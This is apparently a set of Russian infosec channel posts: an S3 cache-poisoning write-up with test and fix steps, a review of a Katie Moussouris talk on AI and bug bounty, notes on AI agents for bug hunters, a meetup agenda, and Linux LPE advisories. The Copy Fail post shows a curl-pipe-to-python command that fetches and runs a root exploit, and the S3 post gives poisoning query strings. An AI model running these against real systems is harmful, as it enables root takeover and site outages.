Интересная уязвимость, связанная с кэшированием HTTP ответов из S3, может возникнуть если немного перестараться с настройкой.

Условия:
1) Сайт хранит статику в S3 и по определенным условиям проксирует туда запросы, либо имеет отдельный поддомен, который проксирует запросы на S3 бакет
2) Чтобы не гонять 10 мегабайтные JavaScript файлы, кэшируется контент из S3 для любого HTTP ответа с кодом 200
3) Так как кэшируется только статика - не включаем в ключ кэша cookie или query-параметры

Казалось бы, все в порядке, но проблема заключается в том, что S3 умеет отвечать с кодом 200 не только возвращая контент файла, но еще и при получении другой информации об объекте.
Например, для получения списка тегов достаточно в query-параметры добавить ?tagging, что часто разрешают для неавторизованных запросов.

https://site.tld/static/somefile.js?tagging

В результате, вместо контента файла вернется следующий HTTP ответ:

<?xml version="1.0" encoding="UTF-8"?>
<Tagging xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<TagSet></TagSet>
</Tagging> 

И если так запросить статику на сайте в момент, когда кэш HTTP ответа будет обновляться - это приведет к тому, что всем следующим пользователям вместо JS вернется некорректный ответ и сайт станет недоступен на время жизни зараженного кэша.

Если ?tagging, ?acl и подобные методы возвращают 403, можно попробовать параметры из GetObject API и, например, закэшировать некорректный Content-Type, указав в запросе ?response-content-type=text/html. Это приведет к тому, что браузер откажется выполнять JavaScript с некорректным типом, что также приведет к нарушению работы сайта (это поведение еще зависит от наличия в ответе заголовка X-Content-Type-Options: nosniff).

Как проверить уязвимость и не аффектить реальных пользователей:
1) Находим через архивы устаревшие JS на сайте
2) Так как к ним никто не обращается, следующий запрос будет с обновлением кэша, поэтому сразу запрашиваем с ?tagging или ?response-content-type=text/html
3) Проверяем, что зараженный HTTP ответ возвращается без указания query-параметров
3) Проверяем, что кэш не привязан к текущему пользователю запросив с другого устройства / IP / от имени другого пользователя

Как исправить уязвимость:
1) Убрать из проксируемого HTTP запроса query-параметры при передаче на S3
2) Добавить query-параметры в ключ кэша

Наткнулся тут на выступление Кэти Муссурис, которая широко известна в международном ИБ-сообществе, и которая размышляла о том, как ИИ меняет bug bounty, выступая не как красивый помощник для хакеров и защитников, а как сила, которая может резко ухудшить положение людей-исследователей, обесценить их труд и сломать саму систему выращивания экспертизы. Кэти не спорит с тем, что ИИ полезен, но ее тезис в другом: если просто пустить все на самотек, то выиграют масштаб, автоматизация и владельцы платформ, а не безопасность и не люди. Я лет 10 назад написал заметку про ИИ, который заменит пентестера и тезисы Муссурис схожи с теми моими мыслями, но у нее гораздо больше примеров, что и понятно, учитывая ее путь в ИБ. Подумал, что можно и пересказать выступление.

Сначала автор напоминает, как вообще развивалась тема bug bounty. Раньше взлом был уделом немногих, а баги часто искали скорее из интереса, чем ради заработка. Потом появились более современные программы вознаграждений: Google с символическими $1337 в 2010 году, Microsoft BlueHat Prize с призом $250000 в 2011-м, первая круглогодичная программа Microsoft на $100000 в 2013-м, затем Hack the Pentagon в 2016-м. Сегодня disclosure-программы уже закреплены во многих регуляторных практиках, а отдельные компании поднимают выплаты очень высоко: у Apple, как сказано в выступлении, вознаграждения доходят до $2–5 млн (про нелегальные биржи вообще молчу). При этом, по мысли автора, сама по себе модель bug bounty мир безопаснее не сделала: большинство исследователей не зарабатывают на этом "нормальную зарплату", а охота в основном идет за простыми и массовыми багами.

Дальше презентация делает поворот к ИИ, фокусируясь на том, что ИИ уже начал вытеснять людей в классическом поиске уязвимостей, особенно там, где выигрывают скорость, масштаб и потоковая обработка однотипных находок. Автор приводит пример компании XBOW: летом 2025 их ИИ поднялся на 1-е место в таблице лидеров HackerOne и автономно находил и валидировал сотни уязвимостей. Это подается как переломный момент: впервые ИИ не просто помогает, а начинает доминировать в соревновании, где раньше конкурировали люди.

На конкретном кейсе Scoold Кэти показывает, что речь не только о теории. Она говорит, что XBOW эксплуатировал обход аутентификации и произвольное чтение файлов, злоупотребив функцией include в HOCON. Из этого делается вывод, что ИИ уже умеет не только генерировать кучу фолсов, но и добывать реальные, эксплуатационно значимые уязвимости. Особенно хорошо он чувствует себя на классических типах проблем: XSS, path traversal, injection, misconfiguration. За счет массового сканирования, поиска узлов и автоматической валидации ИИ побеждает объемом. То есть не обязательно глубиной мысли – часто именно за счет промышленного конвейера.

Есть и еще более наглядный финансовый пример – смарт-контракты. Со ссылкой на исследование Anthropic в слайдах говорится, что ИИ-агенты нашли эксплойты в блокчейн-контрактах на $4,6 млн. Приводятся и экономические показатели такого подхода: средняя стоимость одного запуска агента – $1,22, средняя стоимость на один уязвимый контракт – $1738, средняя чистая прибыль – $109. Отдельно подчеркивается динамика: стоимость токенов падает на 23% каждые 2 месяца, а доход от эксплуатации якобы удваивается каждые 1,3 месяца. Это один из ключевых тезисов всей презентации: экономика атак начинает улучшаться быстрее, чем экономика человеческого труда в bug bounty.

(продолжение следует...)

ЗЫ. Исследование по отечественной bug bounty можно почитать тут, но тема ИИ там обойдена пока вниманием, что дает нам определенный временной зазор, но небольшой.

#ии #оценказащищенности #проблемыибкомпаний #тенденции

(...продолжение обзора выступления Кэти Муссурис про влияние ИИ на отрасль bug bounty)

Затем Кэти показывает структурную проблему bug bounty-рынка. Не весь ИИ полезен: значительная часть моделей и агентов заваливает программы низкокачественными сабмитами – “ИИ-слопом, то есть галлюцинациями, фолсами и лишней работой для триажа. Получается парадокс: с одной стороны, хорошие ИИ-системы реально находят баги быстрее человека; с другой – массовое использование ИИ засоряет каналы отчетности и выжигает защитную сторону, потому что люди-триажеры не успевают разбирать поток. Кэти прямо говорит, что на стороне атакующих ИИ уже выигрывает за счет масштаба, а вот защита отстает, причем избыточная уверенность в ИИ-фильтрах опасна: можно просто отфильтровать и пропустить настоящую уязвимость. При этом нынешние ИИ-сервисы для триажа, как сказано в выступлении, обычно экономят пользователям лишь несколько часов в неделю, то есть пока не дают сопоставимого эффекта на стороне defense.

Дальше Муссурис проводит историческую параллель с пентестами 2000-х. Когда услуги коммодитизировались, инструменты (типа VM и BAS) пытались заменить ручную экспертизу, зарплаты падали или стагнировали, а качество результатов не обязательно улучшалось. По ее мнению, сейчас ИИ может повторить этот цикл в bug bounty: сначала автоматизируются простые находки, потом исчезают начальные уровни багхантеров, а без них не растут новые сильные специалисты. Отсюда один из центральных тезисов презентации: ИИ не просто отбирает часть работы – он может перекрыть весь трек подготовки новых исследователей. Новички больше не смогут зарабатывать на легких багах (а их, по статистике Standoff Bugbounty большинство, хотя число критов тоже понемногу растет), потому что ИИ снимет эти сливки раньше. Средний слой перестанет расти. А без постоянной практики у людей деградируют интуиция, насмотренность и способность находить сложные логические дефекты.

При этом Кэти не скатывается в позицию "запретить ИИ". Наоборот, в презентации есть блок о том, как ИИ может помочь, если использовать его разумно. Говорится, что ИИ может быть полезен в сложных многошаговых сценариях эксплуатации, в триаже, валидации и проверке PoC. Приведены цифры: некий Cybersecurity AI (CAI) показал ускорение в 11 раз, а XBOW заявляет про 80-кратное ускорение. Также автор предлагает смещать применение ИИ влево, то есть интегрировать его в конвейер CI/CD, чтобы находить проблемы еще на этапе разработки, а не только после публикации в bounty-программах. Иначе говоря, ИИ должен не просто участвовать в гонке за выплатами, а помогать снижать количество багов в принципе (кто бы спорил).

Самый спорный, но концептуально важный для доклада вывод – тема безусловного базового дохода. Муссурис называет его “knowledge dividend”, то есть дивидендом от общего человеческого корпуса знаний, на котором обучается ИИ. Логика такая: если ИИ-компании зарабатывают на автоматизации, основанной на знаниях, созданных всем обществом, то часть этой выручки должна возвращаться людям, в том числе тем, кого автоматизация вытесняет (аргументация, знакомая по другим сферам, в которых люди опасается, что ИИ их заменит – художники, писатели, сценаристы и т.п.). В выступлении это подается не как абстрактная социальная мечта, а как способ сохранить культивацию экспертизы, поддержать вытесняемых работников и не дать рынку полностью уничтожить слой профессионалов-людей. Интересно, PHD может рассматриваться как часть такого "возврата"?

Итоговый вывод презентации, по сути, такой: главная угроза – не сам ИИ, а то, как рынок и корпорации встроят его в систему стимулов. Если оставить все как есть, bug bounty превратится в еще одну гигантскую гиг-экономику, где людей сначала используют для накопления знаний и данных, а потом постепенно вытесняют. Если же перестроить правила, то ИИ может стать не могильщиком профессии, а усилителем человека.

#ии #оценказащищенности #проблемыибкомпаний #тенденции #экономика

Так как по жизни я неисправимый оптимист (с периодическими фаталистическими настроениями), то не могу не отметить плюсы того, насколько ИИшечка входит в нашу багбаунтевскую жизнь. Хочу подчеркнуть, что прежде всего речь идет о таком замечательном инструменте как AI-агент, а также о том, что он может дать багхантеру.

Начнем с простого:
1) Рекон и все такое. Сейчас можно дать задание AI-агенту найти и проанализировать весь скоуп и он это сделает. А если не сможет с наскока, то вежливо спросит: "Товарищ кожаный мешок, мне бы тут ключи на шодан, да на вирустотал, подкинь по-братски". В некоторых случаях, даже спрашивать не будет, а сам все сделает. Таким образом, мы довольно быстро с помощью только одного инструмента существенно расширяем поверхность атаки.
2) Если вы понимаете, что не понимаете, куда дальше копать, то все найденное можно передать агенту и попросить его нагенерировать гипотез или идей для того, чтобы проверить уязвимость. Будут ли они совпадать с вашими? Скорее всего да, но эти идеи он может протестить и сразу сказать, стоит ли копать дальше или стоит посвятить вечер чему-то более полезному
3) Агент может закрыть ваши слабые стороны, поэтому, почему бы не настроить его таким образом, чтобы он занимался тем, что вам не нравится/не хочется? Уязвимости могут быть в самых разных местах и, кто знает, где он может их найти

Это не все плюсы, что уж там. Как и любой инструмент, умелое обращение с ним может показать шикарные результаты - при должной настройке он пропылесосит вам все и вся (не без вашей помощи естественно), а также найдет уязвимости, на которые вы бы потратили кучу времени. Багхантеры, которые сейчас умеют применять таких агентов в поиске уязвимостей, могут получить неплохую прибавку в количестве и качестве сданных уязвимостей.

Но что мы все о багхантерах, давайте поговорим и о вендорах, не зря же тут про другую сторону багбаунти рассказывается.

Плюс, на мой взгляд, довольно большой и очевидный – Мы будем получать больше качественных и критичных уязвимостей вместе с нейрослопом. Особенно это видно на текущем "мертвом" квартале(Q1) - количество выплат и найденных в бб критических уязвимостей, несоизмеримо больше, чем годом раньше, притом часть из них точно была докручена с помощью ИИ.

И все это классно, круто и помогает нам становится секьюрнее. Но, как говорится есть один (не один) нюанс. В будущем все это может повлиять на рынок багбаунти и в принципе на саму ее концепцию.

Позвольте, задам несколько вопросов:
1) Что будет делать вендор, если выплаты за такие качественные уязвимости значительно превысят прогнозы годового бюджета на багбаунти?
2) Что будут делать багхантеры, когда компании внедрят поиск уязвимостей с помощью таких же AI-агентов в свои процессы VM?
3) Что произойдет, когда затраты на токены станут больше, чем получаемые баунти за уязвимости?
4) А нужна ли будет багбаунти компании, когда несколько купленных и настроенных агентов будут справляться лучше, чем 50/80/95% багхантеров?
5) А где и как будут учится юные багхантеры, когда порог входа вырастет еще больше?

Есть еще много вопросов, но, пожалуй, хватит на сегодня. Мы живем в очень интересное время, особенно, если задуматься о том, что такой качественный скачок произошел в последние несколько месяцев.
Выводы, как говорится, сделайте самостоятельно. Успевайте, нас ждет много интересного впереди.

Copy Fail: новая LPE-уязвимость в Linux (root на любом Linux в один клик)

Copy Fail — CVE-2026-31431, уязвимость в ядре Linux, которую исследователи называют почти идеальным LPE: обычный локальный пользователь может получить root без race condition, без подбора оффсетов и без сложной подготовки.

Авторы заявляют, что один и тот же 732-байтный Python PoC срабатывает на крупных Linux-дистрибутивах, выпущенных с 2017 года. Подтверждены демо на Ubuntu, Amazon Linux, RHEL и SUSE.

Суть бага — логическая ошибка в криптографической подсистеме Linux: цепочка authencesn → AF_ALG → splice() приводит к контролируемой записи в page cache. Итог — возможность модифицировать поведение setuid-бинарника и выйти в root.

Это не удалённая RCE сама по себе: атакующему нужен локальный доступ или запуск кода на машине. Но для shared-хостов, CI/CD runners, Kubernetes-кластеров, песочниц, dev-серверов и SaaS-платформ с пользовательским кодом это выглядит максимально неприятно: контейнер или обычный пользователь могут стать проблемой уровня хоста.

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

OWASP RUSSIA MEETUP: AI в анализе кода, SSR-безопасность, атаки на CMS, Telegram-фишинг и ML в AppSec

14 мая состоится OWASP RUSSIA MEETUP — встреча для специалистов по информационной безопасности, разработчиков, AppSec/SRE/DevSecOps-инженеров, инфраструктурных команд и всех, кому интересны современные практики защиты приложений.

В программе — доклады о графовых подходах в анализе кода, рисках SSR на примере React2Shell, атаках на установщики CMS, сценариях Telegram-фишинга через QR-коды и балансе между ML-подходами и классическими правилами в AppSec.

Программа митапа
19:00 — Приветственное слово
Лука Сафонов, OWASP Russia chapter leader
Модератор: Павел Кузнецов, Инфосистемы Джет

19:10 — AI + анализ кода: графовые подходы и почему они снова актуальны
Радда Юрьева, PT

Доклад будет посвящён тому, как CPG/PDG-графы становятся основой для контекстного поиска уязвимостей в коде.

Ключевые темы:
CPG/PDG-графы в анализе кода;
контекстный поиск уязвимостей;
связка графовых подходов с LLM;
применение графовых нейросетей в задачах AppSec.

19:55 — Риски безопасности SSR на примере React2Shell и их митигация
Артем Чувикин, Ngenix

Современные web-приложения всё чаще используют server-side rendering, что улучшает производительность, SEO и пользовательский опыт, но одновременно расширяет поверхность атаки. На примере React2Shell будут разобраны риски, возникающие в SSR-архитектуре, и способы их снижения.

Ключевые темы:
особенности безопасности SSR-приложений;
attack surface server-side React;
уязвимость React2Shell;
практическая эксплуатация на демонстрационном приложении;
virtual patching через WAF, CDN и reverse proxy.

20:35 — Перерыв

20:50 — Атаки на установщики CMS: как захватить контроль над ещё не установленной системой
Александр Колчанов, независимый эксперт

Доклад посвящён сценарию, при котором атакующий находит доступные установщики CMS и использует их для получения контроля над сервером ещё до полноценной установки системы.

Ключевые темы:
поиск открытых установщиков CMS;
получение доступа к админке через процесс установки;
загрузка shell;
удаление установленной CMS и восстановление установщика;
захват контроля без эксплуатации типовых CVE.

21:30 — Как я украду вашу телегу
Михаил Жмайло, CICADA8

QR-код давно стал привычным способом аутентификации во многих приложениях. В докладе будут разобраны фишинговые атаки на QR-аутентификацию, сценарии QRLjacking и использование Telegram как платформы для атак социальной инженерии.

Ключевые темы:
QRLjacking;
фишинговые атаки через Telegram;
захват аккаунта через QR-код;
вредоносный MiniApp;
автоматизация сбора информации;
persistence в Telegram-сценариях.

22:10 — Баланс точности и полноты: ML vs ifчики
Павел Конан, Yandex

Индустрия кибербезопасности активно продвигает AI-powered-решения, противопоставляя их классическим сигнатурам и правилам. Но на практике выбор между ML и rule-based-подходами почти всегда упирается в компромисс между Precision и Recall.

Ключевые темы:
ML против правил и эвристик в AppSec;
компромисс между Precision и Recall;
False Positive и False Negative в WAF и SAST;
alert fatigue у разработчиков;
архитектурные паттерны security-инструментов;
чек-лист: когда нужен ML, а когда достаточно rule-based-подхода.

22:50 — Завершение

Участие в митапе бесплатное и осуществляется по предварительной регистрации. Ссылка на место проведения (Москва) будет отправлена на email.

До встречи 14 мая!

Dirty Frag: Universal Linux LPE

Появилась публичная информация о Dirty Frag — новом классе LPE-уязвимостей в Linux, позволяющем локальному непривилегированному пользователю получить root за счет записи в page cache через сетевые буферы ядра.

Исследователь Hyunwoo Kim описывает цепочку из xfrm-ESP и RxRPC Page-Cache Write; заявлено, что эксплуатация не требует race condition и имеет высокую надежность. Наибольший риск — для серверов с контейнерами, Kubernetes, CI/CD runners, shared-хостинга и любых систем, где недоверенный код может запускаться локально.

Dirty Pipe в 2022 показал возможность атаковать page cache через pipes. Copy Fail недавно продемонстрировал похожий класс проблемы через AF_ALG. DirtyFrag продолжает ту же линию — page cache write через ESP и RxRPC. Три разные подсистемы ядра, но один повторяющийся класс ошибок.

До выхода backport-патчей рекомендуется оценить использование esp4/esp6/rxrpc, временно отключить соответствующие модули там, где это безопасно, и оперативно обновить ядро после публикации исправлений дистрибутивом.